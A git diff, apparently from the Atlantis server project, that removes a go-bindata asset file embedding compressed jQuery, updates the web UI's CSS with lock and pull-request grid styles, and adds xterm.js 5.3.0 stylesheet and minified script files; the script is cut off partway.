8\x3a\x82\x5f\x01\xbd\x19\x79\xea\x78\xfc\x27\x5b\x7d\xd7\xac\x62\x4b\x07\x29\x2c\x1b\x24\x50\xa3\xf2\x46\x29\xbc\xc8\xe4\xb2\xc8\x85\xf9\xcf\x9f\xbc\xfc\x8c\x27\x2f\x53\xc5\xd2\x41\x3b\x41\xfb\x04\x07\x3c\xae\xbd\xdc\x99\x8c\xcd\x09\xae\x98\x0a\xe6\x67\x60\x37\xc4\xe1\x8e\x2e\x18\x91\xdd\xd0\xd9\x2c\x7b\x8f\x5c\x35\x25\x67\xf7\x45\x7b\x56\x37\xfa\xcc\x8c\x22\xd3\x62\xbc\x59\xce\xf3\x23\x8f\x5b\x43\xe0\x86\x9d\x97\xe2\xcd\x52\xe5\xfc\x4d\x04\xee\xc6\x9e\x1a\xe1\xe3\x55\x8f\xbc\x1e\x41\x88\xed\x79\xdb\xb2\x2b\xfa\xc6\x85\xb6\xff\x60\x26\xaa\x62\x29\x14\x57\x72\xb9\x54\x39\x7c\x7c\xdc\xde\x7a\xd0\x94\x66\x14\xef\xdb\x3b\xaa\x18\xc0\xbb\x6e\x69\xc9\xcc\x1c\x42\xb4\xf6\x46\x94\x3d\x39\x85\x93\x43\xe0\x28\x8f\x07\xb4\xdf\x5c\x03\xdc\x07\xd4\x55\x50\xfa\x93\x16\x6f\x67\xe5\x76\x87\x1b\x2e\x18\x49\x23\x19\xa9\x19\x75\x66\x9f\x60\xc6\x5e\x2d\x95\xb9\x27\xc8\x6b\x33\xd8\xfe\xf3\xf5\x05\xfe\x09\x2f\x08\x7f\x25\x84\xf8\x49\x07\x7b\x05\x7f\xd4\x67\xbd\x5f\xa0\x88\xf1\x6d\xf8\xa9\xef\x5e\xb6\xcc\x53\x3a\x1a\x90\x4e\xd1\x64\x61\x84\xb4\xee\x3a\x3a\xf6\x95\x19\xa5\x4a\xd0\x3f\xfc\x9d\x6c\x78\x92\x7d\x53\xb4\xd2\x24\xc3\xd1\xf5\x5b\xef\xb6\x6e\x3d\xbb\x46\x04\x1d\x63\xa9\x16\x6f\x81\x32\xae\x4e\x92\x65\xce\x69\x29\xbe\x47\xdf\x0f\xc9\x58\xb6\xd4\x83\x37\x94\xcb\xcb\x9c\xe5\x29\x2d\xc5\x03\x02\xf3\x6a\xde\x40\xcf\x36\x9e\xf0\xee\x8a\x36\xac\x17\xc6\x57\xb3\xad\x54\xb7\x92\x2e\x73\xa3\xff\xf6\xdb\x31\x86\x22\x14\x64\x8f\x35\x17\x80\xc6\xf4\x39\x01\x05\x3b\xc7\x56\xc8\x10\xa3\xc0\xed\x42\xcf\x2f\x5f\x23\x21\xdc\xc1\xcc\x40\xb4\x9e\x9b\x8d\xb7\xd9\xa7\xe3\xd5\x9c\x9b\x6b\xf0\x9e\xa6\x91\xf1\x28\xd5\x23\x98\xba\x1a\x39\x59\x7f\xf8\x70\x75\x4d\x18\x9f\xbf\x2e\xfa\xef\x3b\x35\xbc\x94\x5d\x37\xb4\xbd\xa0\x5f\x99\xb5\xc8\xb2\x01\x72\xb1\x8c\x66\x21\x2f\x66\x26\x37\x55\x99\x59\x32\xd7\xe5\xe1\x3f\x3d\x24\x1c\x0d\x46\xa0\xe9\x10\x08\x18\x36\xb3\xd0\xac\x5c\x6e\xea\xd6\x49\x12\xaf\xbd\xc5\xc9\x06\xb9\x0e\x71\x1a\x9b\xae\x0b\xcc\xfc\xa0\x3b\x6b\x2e\x73\x00\x2d\xb7\x86\x8a\xc1\xee\xd6\x62\x1c\x06\xbd\x13\x59\xfd\x94\xdc\x51\x0f\xc0\x39\xb6\x93\x17\x8e\xc8\xe8\xe8\xb6\xb6\xe6\x15\xb8\x0b\x86\x10\x94\x0f\xf0\xf3\x79\xb0\x20\x7f\x4e\xd2\x73\x2e\x5b\xfa\x42\x02\x51\x7a\x14\x3c\x0a\x9e\x8e\x0b\x62\x54\xe4\x72\x05\x6c\xf6\x3d\xf5\x9f\x27\x3b\x14\x44\xc9\xaa\xd0\xe5\x01\x40\x25\xc5\xca\xd6\x81\x22\x36\xae\x2d\x1a\x8c\xa5\x7c\xdf\x27\x54\x40\xdc\xc7\x69\xc4\xa0\x58\x75\x1d\xd9\x94\x0f\x00\xf5\x06\x90\xe0\xe7\x97\xaf\x69\x33\xdd\x87\x4b\xde\x5e\x37\x84\x65\xb4\x10\x54\x89\x95\xaf\x04\x65\x6c\xa6\x9b\x1d\x2f\x85\x02\xae\x3e\x30\x60\x07\x9c\x81\x0d\xeb\xba\x39\x2f\xc3\xa4\x3d\x52\x32\x6f\x5d\x28\xbf\x76\xa1\xa6\x75\x04\xd4\x6b\xa6\x95\x85\x48\xd6\x33\x40\x34\xa5\x1b\xf3\x17\xaf\xce\x5b\xf3\xff\xb4\xe8\xb3\x98\xb7\x43\x1e\xf3\xc3\x5e\x9f\xb7\xf0\x67\x5a\x32\x4e\xf6\xad\x91\x6d\x65\x7d\xa6\x33\x3d\x83\x0b\xf7\xde\x0d\x4b\xe9\x09\xfa\xc0\x26\x7c\xe7\x54\x00\x87\x1b\x1f\xc9\x15\xbd\xd6\xe5\x5b\x41\x6b\x6f\x18\xf2\x45\x05\xd6\xc3\x66\x30\x36\x30\xba\xf9\x39\x10\x15\xbf\x78\x21\xf8\xc7\x98\x59\x0c\xcc\x96\x58\xea\xcc\x8f\x3d\x87\x48\x00\xa1\x09\x1e\x0f\x66\x88\xf4\xa0\x32\xf5\x9c\xb1\x26\x73\xd0\x02\x63\x9c\x8c\xbc\x36\x5b\xbb\xd0\x66\x19\xc6\x60\xf2\x27\xdd\xec\x52\x09\xad\x56\xcf\x76\xc5\xad\xfc\x3b\x56\x8a\x03\xeb\xbf\xc4\x76\xc2\x3b\x1f\xf1\xce\x91\xa5\xf0\xd0\x1c\xb3\xcc\x8f\x0e\x88\x80\x7b\x46\xf9\x50\x6f\xdd\x78\x73\x67\x08\x45\xe2\xbe\x8e\x97\x22\x2e\xcc\xa8\x5b\xfd\xe0\xc6\x79\xa0\xc2\x39\xc7\xf4\xf3\xdf\x8a\x47\xb8\x96\x01\xd0\xcf\xaf\x93\x06\xe0\xa6\xb9\xf0\xf6\x0f\x60\xe4\x33\x7b\x0b\x17\xd5\x65\x97\x1b\x67\x7f\x05\x8b\xb0\x10\x35\xac\xeb\x5d\x87\xbf\x07\x79\x01\x6e\xc2\x4f\xfe\x11\x39\x01\x26\xdb\x00\x48\x4a\x26\x89\x44\xba\x98\x13\x46\x03\x5a\x82\x48\xf1\xb5\x67\x38\xa0\x07\xcc\xec\xd7\xcd\xce\x73\xb2\x33\x5e\xda\xd1\x3c\xc8\xf4\x9d\xdc\xe8\x3e\x97\x3b\x81\x81\xe6\xc6\x49\x59\xc2\xff\xbe\x8d\x91\x53\xeb\xba\xd9\x61\xa9\xd0\x21\x76\x62\xe2\x1b\x86\x59\x81\x55\x14\x43\x0c\x8f\x3c\x6c\xcf\x7f\x2b\xaa\x25\xe8\x2c\x7c\xba\x6f\xfa\x3f\xd0\xaa\xd1\x83\xce\x06\xde\x75\x4a\x1e\x63\xb4\x5f\xcf\x2f\x97\x92\x60\x2c\x13\xee\xf9\xe8\x30\xdd\x8e\xfe\x30\xfc\x51\xbb\xd0\xaf\x46\x44\x59\x8c\x96\x8a\x08\xc6\x11\x0c\xe1\x1f\x22\xf9\x04\x87\x46\x2a\x59\xa6\x84\x4c\xff\xd7\x70\x0c\x98\xbd\x44\x30\x47\xd9\x08\x6d\xb5\xca\xd4\xb2\xcc\x01\x02\x6e\x61\x24\x83\xfb\x0c\xda\x64\x2a\x9c\xac\x69\xcd\x9b\xac\x4e\x55\x38\xb5\x99\x85\x99\x3b\x1a\x99\xc3\x47\x89\x3d\x03\x50\xe7\x1d\xb1\xab\x50\x74\x62\x56\x47\x0c\xad\x75\x8e\x54\xb5\xbb\xf2\x41\x56\x3f\x38\x76\xdf\x13\x58\x08\xed\xa1\x33\x90\x91\xb9\x66\xfc\xbd\x67\x7f\xce\x60\xd8\xf7\x0b\xd5\xb2\xce\x81\x46\xd6\xe8\x30\x41\x47\x5a\xc6\x72\xcf\xb0\x0c\x03\x3c\xb5\xc4\x31\x41\xaf\x15\xbc\x85\x10\x55\x78\xc8\xb3\xce\x82\x5a\x4e\xa6\x85\xb3\xae\xa4\x2d\x27\x24\x25\xcd\x5e\x43\x72\xf0\xbc\x42\x12\xda\x4d\xbd\x6c\xf2\xd1\x58\xb8\x61\xbb\x99\x7e\x0b\x90\xaa\x83\x20\x4b\xb3\xda\x76\x1d\x85\x53\x7f\xd9\x75\x13\x5c\x22\x1c\x85\x5d\xea\x08\x86\xfd\xa1\xc6\x67\x07\x8e\xcd\x03\x83\x67\x0e\xc8\xf6\x7e\xcd\xc7\xaf\x60\x99\x5c\xfa\xef\xcc\x53\xe9\x85\xd5\x50\x6a\x2d\xc9\x0a\x44\x27\x64\x8b\xc7\x60\x86\x43\x30\xce\xcf\x3d\x27\x9c\x04\x61\x08\x3b\xc8\xa6\xaa\xcc\xf3\x5c\x45\x57\x2e\x83\xa3\x5e\xc6\x0c\xf1\x55\xff\x72\xe6\x42\x66\x04\x32\xd1\x5a\xea\x59\x5e\xb2\x34\xa2\xa5\xe5\x25\x3b\xf2\x96\xd7\x99\x83\xbe\xb1\x27\x7e\xc1\x70\xed\x1d\x44\x79\x7f\xfa\xcc\x07\x47\xd7\xe1\x21\x78\x74\x3c\xce\x7b\x2f\xb1\x61\x34\xd0\x67\xe6\x39\xca\x2f\x20\x41\x38\x8d\x0d\xbf\x29\x07\xe6\xa9\x21\x86\x37\xce\x26\x88\x2c\x37\x9f\xc3\xf7\xf5\xc9\x23\x83\x07\x36\x1b\xff\x04\x3b\x72\x07\xe0\xf0\x3b\xbc\x0f\x01\x49\x83\x79\xc7\x33\x4f\xf9\x67\xcc\xb2\x74\x02\x2d\x15\xbc\x9e\xbc\x7c\x49\xec\xb9\x9f\x49\xd0\x1c\x9c\xa2\x5f\x12\xf8\x84\xbb\xe6\xf0\xd9\x68\xf8\x6d\xb3\x6f\xa5\xac\xb5\x54\x66\xc6\xc3\x55\x25\x8b\x83\xa4\xba\xeb\x64\x28\x7e\xc8\x4d\xb5\x57\x67\x10\x92\x7e\x66\xe3\xd4\xcf\x5c\x80\xfa\x99\x92\x6d\xf9\x2f\x79\x86\xa3\xee\x6c\x55\x95\xab\xdf\xce\xd6\x37\x15\xfe\x80\x42\xd7\xcd\x7d\x8d\xbf\xf6\x3b\xfc\x6b\x36\x86\xf8\xcb\x54\xd1\xfe\xda\xeb\xb3\xbe\x46\x67\x7d\x75\xce\xd0\xda\x7d\x86\x41\xc2\x67\x18\x5c\x7c\xf6\x9b\x7c\x84\x72\x7f\x93\x8f\x3b\x25\xdb\xd6\xfc\xd8\xef\xce\x6c\x18\xc6\x56\xd6\x7b\x12\x38\x05\x9d\x88\xcc\x4d\x0d\x3c\x5a\x63\x6d\x33\x3f\xc1\x49\xcd\x5c\xd7\xd5\xd8\xdf\x80\x96\x8c\x51\x9b\xd6\xc5\xa2\xf6\xb1\x88\x7f\xd6\xe2\xe2\x1f\xcb\x4f\xed\xa7\xfd\xbb\xb7\xef\xde\x7d\x7a\xf8\x6a\x9e\x4f\xbb\xc1\xf5\x0b\x00\x1a\xdb\xa9\xe6\xe1\x71\x3c\xf2\x17\xcd\xae\x27\x86\x36\x34\x20\x40\xf4\x30\xc6\xb0\xd4\x66\x3f\x10\xb0\x58\x8a\x16\x95\xf3\x7e\x5f\xf9\x8a\x99\xed\xfc\xa9\x1a\x20\xdd\x6e\xd0\x06\xcf\x2b\x17\xaa\x31\x2c\x01\x30\x0b\xc1\xdc\x28\x64\xf8\xa7\xeb\xae\xac\x11\x92\x97\x46\x5b\xbf\x6b\xaa\xf5\x8f\xb2\x58\x3f\xc6\x58\x3c\x00\x4e\x5c\xac\x1f\xff\x56\x94\x7a\x3a\x4d\xed\x15\xd0\x84\x80\xd7\x05\x38\xd8\x89\x28\x9c\xd4\x99\x5c\xfe\x72\xf5\xe1\x7b\x11\x84\x24\x5d\xf9\x28\x57\xf1\x15\x3c\xfb\xce\xbe\x48\x6c\xe1\x12\xc1\x4b\xc4\x03\xbf\x9a\xad\x8a\xad\xac\xde\x14\xad\x14\x1f\xf9\x15\x1a\xbf\xef\xe1\xf9\x7b\x0f\xad\x0f\x8f\x7c\xbf\xdf\x4a\x55\xae\x46\xf8\x44\xf0\x29\x2a\xdd\x62\x10\xec\x74\x84\x0e\x1d\xbd\x85\xd1\x3a\x27\x65\xfb\x7d\xf1\x3d\x95\x21\x79\xbd\x44\xe0\x7b\xad\xca\xed\xf3\x38\x49\x80\x20\x46\x65\x14\x2c\xf1\x67\x70\x83\x3f\x72\xe2\x9e\xea\x07\x00\x22\x8b\x27\x09\xfe\x9d\x15\xdb\xb5\xfb\x4d\x09\x06\x1a\x11\xbe\xcc\x47\x98\xe2\xaf\xec\xe8\xfc\xbb\x16\x6f\x66\xbf\xfe\xd5\xe4\xe4\x7f\x35\xbf\x5f\xf4\x3c\x3f\x75\xf3\xa6\xa9\x37\x55\xb9\x1a\xc5\x75\x7a\x33\x7b\x61\xb4\xbf\x24\xa1\xe6\xd7\x5f\x35\x50\xa5\xb8\xb2\xfc\x1d\x7b\xf9\x77\xcd\xf8\xd5\x91\x8f\x62\xa1\x87\xf9\x4c\x51\x57\x26\x2b\x5b\xfc\x7f\xff\x3b\x00\x00\xff\xff\x85\x8b\x1d\x3d\x84\x5d\x01\x00") - -func staticJsJquery351MinJsBytes() ([]byte, error) { - return bindataRead( - _staticJsJquery351MinJs, - "static/js/jquery-3.5.1.min.js", - ) -} - -func staticJsJquery351MinJs() (*asset, error) { - bytes, err := staticJsJquery351MinJsBytes() - if err != nil { - return nil, err - } - - info := bindataFileInfo{name: "static/js/jquery-3.5.1.min.js", size: 89476, mode: os.FileMode(420), modTime: time.Unix(1593116647, 0)} - a := &asset{bytes: bytes, info: info} - return a, nil -} - -// Asset loads and returns the asset for the given name. -// It returns an error if the asset could not be found or -// could not be loaded. -func Asset(name string) ([]byte, error) { - cannonicalName := strings.Replace(name, "\\", "/", -1) - if f, ok := _bindata[cannonicalName]; ok { - a, err := f() - if err != nil { - return nil, fmt.Errorf("Asset %s can't read by error: %v", name, err) - } - return a.bytes, nil - } - return nil, fmt.Errorf("Asset %s not found", name) -} - -// MustAsset is like Asset but panics when Asset would return an error. -// It simplifies safe initialization of global variables. -func MustAsset(name string) []byte { - a, err := Asset(name) - if err != nil { - panic("asset: Asset(" + name + "): " + err.Error()) - } - - return a -} - -// AssetInfo loads and returns the asset info for the given name. -// It returns an error if the asset could not be found or -// could not be loaded. -func AssetInfo(name string) (os.FileInfo, error) { - cannonicalName := strings.Replace(name, "\\", "/", -1) - if f, ok := _bindata[cannonicalName]; ok { - a, err := f() - if err != nil { - return nil, fmt.Errorf("AssetInfo %s can't read by error: %v", name, err) - } - return a.info, nil - } - return nil, fmt.Errorf("AssetInfo %s not found", name) -} - -// AssetNames returns the names of the assets. -func AssetNames() []string { - names := make([]string, 0, len(_bindata)) - for name := range _bindata { - names = append(names, name) - } - return names -} - -// _bindata is a table, holding each asset generator, mapped to its name. -var _bindata = map[string]func() (*asset, error){ - "static/css/custom.css": staticCssCustomCss, - "static/css/normalize.css": staticCssNormalizeCss, - "static/css/skeleton.css": staticCssSkeletonCss, - "static/images/atlantis-icon.png": staticImagesAtlantisIconPng, - "static/images/atlantis-icon_512.png": staticImagesAtlantisIcon_512Png, - "static/js/jquery-3.2.1.min.js": staticJsJquery321MinJs, - "static/js/jquery-3.5.1.min.js": staticJsJquery351MinJs, -} - -// AssetDir returns the file names below a certain -// directory embedded in the file by go-bindata. -// For example if you run go-bindata on data/... and data contains the -// following hierarchy: -// data/ -// foo.txt -// img/ -// a.png -// b.png -// then AssetDir("data") would return []string{"foo.txt", "img"} -// AssetDir("data/img") would return []string{"a.png", "b.png"} -// AssetDir("foo.txt") and AssetDir("notexist") would return an error -// AssetDir("") will return []string{"data"}. -func AssetDir(name string) ([]string, error) { - node := _bintree - if len(name) != 0 { - cannonicalName := strings.Replace(name, "\\", "/", -1) - pathList := strings.Split(cannonicalName, "/") - for _, p := range pathList { - node = node.Children[p] - if node == nil { - return nil, fmt.Errorf("Asset %s not found", name) - } - } - } - if node.Func != nil { - return nil, fmt.Errorf("Asset %s not found", name) - } - rv := make([]string, 0, len(node.Children)) - for childName := range node.Children { - rv = append(rv, childName) - } - return rv, nil -} - -type bintree struct { - Func func() (*asset, error) - Children map[string]*bintree -} - -var _bintree = &bintree{nil, map[string]*bintree{ - "static": &bintree{nil, map[string]*bintree{ - "css": &bintree{nil, map[string]*bintree{ - "custom.css": &bintree{staticCssCustomCss, map[string]*bintree{}}, - "normalize.css": &bintree{staticCssNormalizeCss, map[string]*bintree{}}, - "skeleton.css": &bintree{staticCssSkeletonCss, map[string]*bintree{}}, - }}, - "images": &bintree{nil, map[string]*bintree{ - "atlantis-icon.png": &bintree{staticImagesAtlantisIconPng, map[string]*bintree{}}, - "atlantis-icon_512.png": &bintree{staticImagesAtlantisIcon_512Png, map[string]*bintree{}}, - }}, - "js": &bintree{nil, map[string]*bintree{ - "jquery-3.2.1.min.js": &bintree{staticJsJquery321MinJs, map[string]*bintree{}}, - "jquery-3.5.1.min.js": &bintree{staticJsJquery351MinJs, map[string]*bintree{}}, - }}, - }}, -}} - -// RestoreAsset restores an asset under the given directory -func RestoreAsset(dir, name string) error { - data, err := Asset(name) - if err != nil { - return err - } - info, err := AssetInfo(name) - if err != nil { - return err - } - err = os.MkdirAll(_filePath(dir, filepath.Dir(name)), os.FileMode(0755)) - if err != nil { - return err - } - err = ioutil.WriteFile(_filePath(dir, name), data, info.Mode()) - if err != nil { - return err - } - err = os.Chtimes(_filePath(dir, name), info.ModTime(), info.ModTime()) - if err != nil { - return err - } - return nil -} - -// RestoreAssets restores an asset under the given directory recursively -func RestoreAssets(dir, name string) error { - children, err := AssetDir(name) - // File - if err != nil { - return RestoreAsset(dir, name) - } - // Dir - for _, child := range children { - err = RestoreAssets(dir, filepath.Join(name, child)) - if err != nil { - return err - } - } - return nil -} - -func _filePath(dir, name string) string { - cannonicalName := strings.Replace(name, "\\", "/", -1) - return filepath.Join(append([]string{dir}, strings.Split(cannonicalName, "/")...)...) -} - -func assetFS() *assetfs.AssetFS { - assetInfo := func(path string) (os.FileInfo, error) { - return os.Stat(path) - } - for k := range _bintree.Children { - return &assetfs.AssetFS{Asset: Asset, AssetDir: AssetDir, AssetInfo: assetInfo, Prefix: k} - } - panic("unreachable") -} diff --git a/server/static/css/custom.css b/server/static/css/custom.css index 6d1f46166a..830398c4a8 100644 --- a/server/static/css/custom.css +++ b/server/static/css/custom.css @@ -1,5 +1,5 @@ .container { - max-width: 1000px; } + max-width: 1200px; } .header { margin-top: 2.5vh; text-align: center; } @@ -200,19 +200,6 @@ tbody { .content { margin-bottom: 2px; } -.list-title { - position: relative; - float: left; -} -.list-status { - position: relative; - float: right; -} -.list-timestamp { - position: relative; - float: right; - padding-right: 2px; -} .unlock-discard-btn { border-color: red !important; background-color: red !important; @@ -247,8 +234,87 @@ tbody { .list-unlock{ float: right; } -.lock-row{ - cursor: default; + +/* Styles for the lock index */ +.lock-grid{ + display: grid; + grid-template-columns: auto auto auto auto auto auto; + border: 1px solid #dbeaf4; + width: 100%; + font-size: 12px; +} + +.lock-header { + display: contents; + font-weight: bold; +} + +.lock-header span { + border-bottom: 1px solid #dbeaf4; + padding: 5px; +} + +.lock-row { + display: contents; +} + +.lock-row a { + border-bottom: 1px solid #dbeaf4; + padding: 5px; +} + +.lock-row:hover a { + background-color: #dbeaf4; + cursor: pointer; +} + +.lock-row:hover a:hover { + color: initial +} + +.lock-link { + text-decoration: none; + color: #555 +} + +.lock-reponame { + word-break: break-all; +} + +.lock-username { + word-break: break-all; +} + +.lock-path { + padding: .2rem .5rem; + margin: 0 .2rem; + font-family: monospace; + font-size: 90%; + background: #F1F1F1; + border: 1px solid #E1E1E1; + border-radius: 4px; + word-break: break-all; +} + +.lock-datetime { + color: #999; +} +/* Style for the Pull To Job Mapping Table */ +.pulls-grid{ + display: grid; + grid-template-columns: auto auto auto auto; + border: 1px solid #dbeaf4; + width: 100%; + font-size: 12px; +} + +.pulls-row { + display: contents; +} + +.pulls-element { + border-bottom: 1px solid #dbeaf4; + padding: 5px; } /* The Modal (background) */ @@ -266,6 +332,14 @@ tbody { background-color: rgba(0,0,0,0.4); /* Black w/ opacity */ } +.lock-detail-grid { + display: grid; + grid-template-columns: 130px auto; + border: 1px solid #dbeaf4; + width: 100%; + font-size: 14px; +} + /* Modal Header */ .modal-header { padding: 8px 12px; @@ -293,7 +367,7 @@ tbody { /* Add Animation */ @-webkit-keyframes animatetop { - from {top: -300px; opacity: 0} + from {top: -300px; opacity: 0} to {top: 0; opacity: 1} } @@ -303,12 +377,20 @@ tbody { } .js-discard-success { + font-family: monospace, monospace; font-size: 1.1em; text-align: center; display: none; +} + +.github-app-msg { font-family: monospace, monospace; font-size: 1.1em; text-align: center; } .title-heading { font-family: monospace, monospace; font-size: 1.1em; text-align: center; - } + } + +.terminal-heading-white { + font-family: monospace, monospace; font-size: 1.1em; text-align: center; color: white; + } .small { font-size: 1.0em; @@ -317,9 +399,19 @@ tbody { /* Footer contains the Atlantis version */ footer { font-family: monospace, monospace; font-size: 1.2rem; - position: absolute; + position: fixed; + bottom: 0; + right: 0; + color: grey; + padding-right: 10px; +} + +.footer-white { + font-family: monospace, monospace; font-size: 1.2rem; + position: fixed; bottom: 0; right: 0; color: grey; padding-right: 10px; + color: white; } diff --git a/server/static/css/xterm-5.3.0.css b/server/static/css/xterm-5.3.0.css new file mode 100644 index 0000000000..74acc26708 --- /dev/null +++ b/server/static/css/xterm-5.3.0.css @@ -0,0 +1,209 @@ +/** + * Copyright (c) 2014 The xterm.js authors. All rights reserved. + * Copyright (c) 2012-2013, Christopher Jeffrey (MIT License) + * https://github.com/chjj/term.js + * @license MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + * + * Originally forked from (with the author's permission): + * Fabrice Bellard's javascript vt100 for jslinux: + * http://bellard.org/jslinux/ + * Copyright (c) 2011 Fabrice Bellard + * The original design remains. The terminal itself + * has been extended to include xterm CSI codes, among + * other features. + */ + +/** + * Default styles for xterm.js + */ + +.xterm { + cursor: text; + position: relative; + user-select: none; + -ms-user-select: none; + -webkit-user-select: none; +} + +.xterm.focus, +.xterm:focus { + outline: none; +} + +.xterm .xterm-helpers { + position: absolute; + top: 0; + /** + * The z-index of the helpers must be higher than the canvases in order for + * IMEs to appear on top. + */ + z-index: 5; +} + +.xterm .xterm-helper-textarea { + padding: 0; + border: 0; + margin: 0; + /* Move textarea out of the screen to the far left, so that the cursor is not visible */ + position: absolute; + opacity: 0; + left: -9999em; + top: 0; + width: 0; + height: 0; + z-index: -5; + /** Prevent wrapping so the IME appears against the textarea at the correct position */ + white-space: nowrap; + overflow: hidden; + resize: none; +} + +.xterm .composition-view { + /* TODO: Composition position got messed up somewhere */ + background: #000; + color: #FFF; + display: none; + position: absolute; + white-space: nowrap; + z-index: 1; +} + +.xterm .composition-view.active { + display: block; +} + +.xterm .xterm-viewport { + /* On OS X this is required in order for the scroll bar to appear fully opaque */ + background-color: #000; + overflow-y: scroll; + cursor: default; + position: absolute; + right: 0; + left: 0; + top: 0; + bottom: 0; +} + +.xterm .xterm-screen { + position: relative; +} + +.xterm .xterm-screen canvas { + position: absolute; + left: 0; + top: 0; +} + +.xterm .xterm-scroll-area { + visibility: hidden; +} + +.xterm-char-measure-element { + display: inline-block; + visibility: hidden; + position: absolute; + top: 0; + left: -9999em; + line-height: normal; +} + +.xterm.enable-mouse-events { + /* When mouse events are enabled (eg. tmux), revert to the standard pointer cursor */ + cursor: default; +} + +.xterm.xterm-cursor-pointer, +.xterm .xterm-cursor-pointer { + cursor: pointer; +} + +.xterm.column-select.focus { + /* Column selection mode */ + cursor: crosshair; +} + +.xterm .xterm-accessibility, +.xterm .xterm-message { + position: absolute; + left: 0; + top: 0; + bottom: 0; + right: 0; + z-index: 10; + color: transparent; + pointer-events: none; +} + +.xterm .live-region { + position: absolute; + left: -9999px; + width: 1px; + height: 1px; + overflow: hidden; +} + +.xterm-dim { + /* Dim should not apply to background, so the opacity of the foreground color is applied + * explicitly in the generated class and reset to 1 here */ + opacity: 1 !important; +} + +.xterm-underline-1 { text-decoration: underline; } +.xterm-underline-2 { text-decoration: double underline; } +.xterm-underline-3 { text-decoration: wavy underline; } +.xterm-underline-4 { text-decoration: dotted underline; } +.xterm-underline-5 { text-decoration: dashed underline; } + +.xterm-overline { + text-decoration: overline; +} + +.xterm-overline.xterm-underline-1 { text-decoration: overline underline; } +.xterm-overline.xterm-underline-2 { text-decoration: overline double underline; } +.xterm-overline.xterm-underline-3 { text-decoration: overline wavy underline; } +.xterm-overline.xterm-underline-4 { text-decoration: overline dotted underline; } +.xterm-overline.xterm-underline-5 { text-decoration: overline dashed underline; } + +.xterm-strikethrough { + text-decoration: line-through; +} + +.xterm-screen .xterm-decoration-container .xterm-decoration { + z-index: 6; + position: absolute; +} + +.xterm-screen .xterm-decoration-container .xterm-decoration.xterm-decoration-top-layer { + z-index: 7; +} + +.xterm-decoration-overview-ruler { + z-index: 8; + position: absolute; + top: 0; + right: 0; + pointer-events: none; +} + +.xterm-decoration-top { + z-index: 2; + position: relative; +} diff --git a/server/static/js/xterm-5.3.0.js b/server/static/js/xterm-5.3.0.js new file mode 100644 index 0000000000..a68eae6ce1 --- /dev/null +++ b/server/static/js/xterm-5.3.0.js @@ -0,0 +1,2 @@ +!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var i=t();for(var s in i)("object"==typeof exports?exports:e)[s]=i[s]}}(self,(()=>(()=>{"use strict";var e={4567:function(e,t,i){var s=this&&this.__decorate||function(e,t,i,s){var r,n=arguments.length,o=n<3?t:null===s?s=Object.getOwnPropertyDescriptor(t,i):s;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)o=Reflect.decorate(e,t,i,s);else for(var a=e.length-1;a>=0;a--)(r=e[a])&&(o=(n<3?r(o):n>3?r(t,i,o):r(t,i))||o);return n>3&&o&&Object.defineProperty(t,i,o),o},r=this&&this.__param||function(e,t){return function(i,s){t(i,s,e)}};Object.defineProperty(t,"__esModule",{value:!0}),t.AccessibilityManager=void 0;const n=i(9042),o=i(6114),a=i(9924),h=i(844),c=i(5596),l=i(4725),d=i(3656);let _=t.AccessibilityManager=class extends h.Disposable{constructor(e,t){super(),this._terminal=e,this._renderService=t,this._liveRegionLineCount=0,this._charsToConsume=[],this._charsToAnnounce="",this._accessibilityContainer=document.createElement("div"),this._accessibilityContainer.classList.add("xterm-accessibility"),this._rowContainer=document.createElement("div"),this._rowContainer.setAttribute("role","list"),this._rowContainer.classList.add("xterm-accessibility-tree"),this._rowElements=[];for(let e=0;ethis._handleBoundaryFocus(e,0),this._bottomBoundaryFocusListener=e=>this._handleBoundaryFocus(e,1),this._rowElements[0].addEventListener("focus",this._topBoundaryFocusListener),this._rowElements[this._rowElements.length-1].addEventListener("focus",this._bottomBoundaryFocusListener),this._refreshRowsDimensions(),this._accessibilityContainer.appendChild(this._rowContainer),this._liveRegion=document.createElement("div"),this._liveRegion.classList.add("live-region"),this._liveRegion.setAttribute("aria-live","assertive"),this._accessibilityContainer.appendChild(this._liveRegion),this._liveRegionDebouncer=this.register(new a.TimeBasedDebouncer(this._renderRows.bind(this))),!this._terminal.element)throw new Error("Cannot enable accessibility before Terminal.open");this._terminal.element.insertAdjacentElement("afterbegin",this._accessibilityContainer),this.register(this._terminal.onResize((e=>this._handleResize(e.rows)))),this.register(this._terminal.onRender((e=>this._refreshRows(e.start,e.end)))),this.register(this._terminal.onScroll((()=>this._refreshRows()))),this.register(this._terminal.onA11yChar((e=>this._handleChar(e)))),this.register(this._terminal.onLineFeed((()=>this._handleChar("\n")))),this.register(this._terminal.onA11yTab((e=>this._handleTab(e)))),this.register(this._terminal.onKey((e=>this._handleKey(e.key)))),this.register(this._terminal.onBlur((()=>this._clearLiveRegion()))),this.register(this._renderService.onDimensionsChange((()=>this._refreshRowsDimensions()))),this._screenDprMonitor=new c.ScreenDprMonitor(window),this.register(this._screenDprMonitor),this._screenDprMonitor.setListener((()=>this._refreshRowsDimensions())),this.register((0,d.addDisposableDomListener)(window,"resize",(()=>this._refreshRowsDimensions()))),this._refreshRows(),this.register((0,h.toDisposable)((()=>{this._accessibilityContainer.remove(),this._rowElements.length=0})))}_handleTab(e){for(let 